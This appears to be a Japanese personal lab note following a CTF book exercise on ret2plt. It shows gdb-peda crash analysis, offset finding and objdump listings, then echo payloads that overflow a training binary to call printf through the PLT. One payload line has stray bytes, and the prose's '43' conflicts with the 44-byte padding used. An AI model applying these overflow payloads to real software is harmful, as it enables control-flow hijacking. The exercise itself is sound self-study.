セキュリティコンテストチャレンジブック[エクスプロイト(ret2plt)]
ret2plt(Return to Procedure Linkage Table)の
やり方。
動作検証してみた。
OS: Ubuntu 14.04 64bit
PLTに書かれた短いコード片を関数として呼び出すと、動的リンクされたライブラリのアドレスを解決してライブラリ内の関数を実行してくれるらしい。
ret2plt の準備
peda で50バイトのパターン文字を生成し、bof3 の入力とする。
gdb gdb-peda$ pattern_create 50 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA' gdb-peda$ r Starting program: /home/user1/Desktop/work/bof3 buffer: 0x804a060 AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA Program received signal SIGSEGV, Segmentation fault. [-------------------------------------------------------------------------------------registers--------------------------------------------------------------------------------------] EAX: 0x0 EBX: 0xf7fbc000 --> 0x1a6da8 ECX: 0xffffd7a0 --> 0xa4162 (b'bA\n') EDX: 0x804a090 --> 0xa4162 (b'bA\n') ESI: 0x0 EDI: 0x0 EBP: 0x41304141 (b'AA0A') ESP: 0xffffd7a0 --> 0xa4162 (b'bA\n') EIP: 0x41414641 (b'AFAA') [----------------------------------------------------------------------------------------code----------------------------------------------------------------------------------------] Invalid $PC address: 0x41414641 [---------------------------------------------------------------------------------------stack----------------------------------------------------------------------------------------] 00:0000| ecx esp 0xffffd7a0 --> 0xa4162 (b'bA\n') 01:0004| 0xffffd7a4 --> 0xffffd834 --> 0xffffd9cd ("/home/user1/Des"...) 02:0008| 0xffffd7a8 --> 0xffffd83c --> 0xffffd9eb ("XDG_VTNR=7") 03:0012| 0xffffd7ac --> 0xf7feacea (add ebx,0x12316) 04:0016| 0xffffd7b0 --> 0x1 05:0020| 0xffffd7b4 --> 0xffffd834 --> 0xffffd9cd ("/home/user1/Des"...) 06:0024| 0xffffd7b8 --> 0xffffd7d4 --> 0x33df8213 07:0028| 0xffffd7bc --> 0x804a01c --> 0xf7e2e970 (<__libc_start_main>: push ebp) [------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------] Legend: stack, code, data, heap, rodata, value Stopped reason: SIGSEGV 0x41414641 in ?? ()
EIP の値が AFAA なので何文字目からはじまるか調べる。
gdb-peda$ patto AFAA AFAA found at offset: 44
main 関数のアドレスは 0804849d だった。
objdump -d --no -M intel bof3 0804849d <main>: 804849d: push ebp 804849e: mov ebp,esp 80484a0: and esp,0xfffffff0 80484a3: sub esp,0x30 80484a6: mov DWORD PTR [esp+0x4],0x804a060 80484ae: mov DWORD PTR [esp],0x8048590 80484b5: call 8048350 <printf@plt> 80484ba: mov eax,ds:0x804a040 80484bf: mov DWORD PTR [esp+0x8],eax 80484c3: mov DWORD PTR [esp+0x4],0x80 80484cb: lea eax,[esp+0x10] 80484cf: mov DWORD PTR [esp],eax 80484d2: call 8048360 <fgets@plt> 80484d7: lea eax,[esp+0x10] 80484db: mov DWORD PTR [esp+0x4],eax 80484df: mov DWORD PTR [esp],0x804a060 80484e6: call 8048370 <strcpy@plt> 80484eb: mov eax,0x0 80484f0: leave 80484f1: ret 80484f2: xchg ax,ax 80484f4: xchg ax,ax 80484f6: xchg ax,ax 80484f8: xchg ax,ax 80484fa: xchg ax,ax 80484fc: xchg ax,ax 80484fe: xchg ax,ax
先ほど確認した入力文字の44文字目から main 関数のアドレス[0804849d] をセットしてecho したものをbof3に食べさせる。 main 関数が2回実行され(2回目はEIPを制御して実行)、bufferの値が出力される。
$ echo 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x9d\x84\x04\x08' | ./bof3 buffer: 0x804a060 buffer: 0x804a060 zsh: done echo 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x9d\x84\x04\x08' | zsh: segmentation fault (core dumped) ./bof3
ret2plt を実行
.plt セクションの内容を確認 printf@plt が 08048350 にある
$ objdump -d -M intel -j .plt --no bof3 bof3: ファイル形式 elf32-i386 セクション .plt の逆アセンブル: 08048340 <printf@plt-0x10>: 8048340: push DWORD PTR ds:0x804a004 8048346: jmp DWORD PTR ds:0x804a008 804834c: add BYTE PTR [eax],al ... 08048350 <printf@plt>: 8048350: jmp DWORD PTR ds:0x804a00c 8048356: push 0x0 804835b: jmp 8048340 <_init+0x28> 08048360 <fgets@plt>: 8048360: jmp DWORD PTR ds:0x804a010 8048366: push 0x8 804836b: jmp 8048340 <_init+0x28> 08048370 <strcpy@plt>: 8048370: jmp DWORD PTR ds:0x804a014 8048376: push 0x10 804837b: jmp 8048340 <_init+0x28> 08048380 <__gmon_start__@plt>: 8048380: jmp DWORD PTR ds:0x804a018 8048386: push 0x18 804838b: jmp 8048340 <_init+0x28> 08048390 <__libc_start_main@plt>: 8048390: jmp DWORD PTR ds:0x804a01c 8048396: push 0x20 804839b: jmp 8048340 <_init+0x28>
buffer のアドレスは 0804a060 だった。
$ readelf -s bof3 | grep buffer 54: 0804a060 32 OBJECT GLOBAL DEFAULT 25 buffer echo 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x50\x83\x04\x08\x08BBBB\x60\xa0\x07\x08' | ./bof3
echo A43文字 + [printf@plt のアドレス] + [関数呼び出し後のダミーのリターンアドレス BBBB] + [buffer のアドレス] した結果をbof3に食べさせる。
$ echo 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x50\x83\x04\x08BBBB\x60\xa0\x04\x08'| ./bof3 buffer: 0x804a060 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP�BBBB`� zsh: done echo | zsh: segmentation fault (core dumped) ./bof3
3行目にprintf の結果が表示された。
所感
これで、plt内の printf を呼び出すことができた。 結構面白い。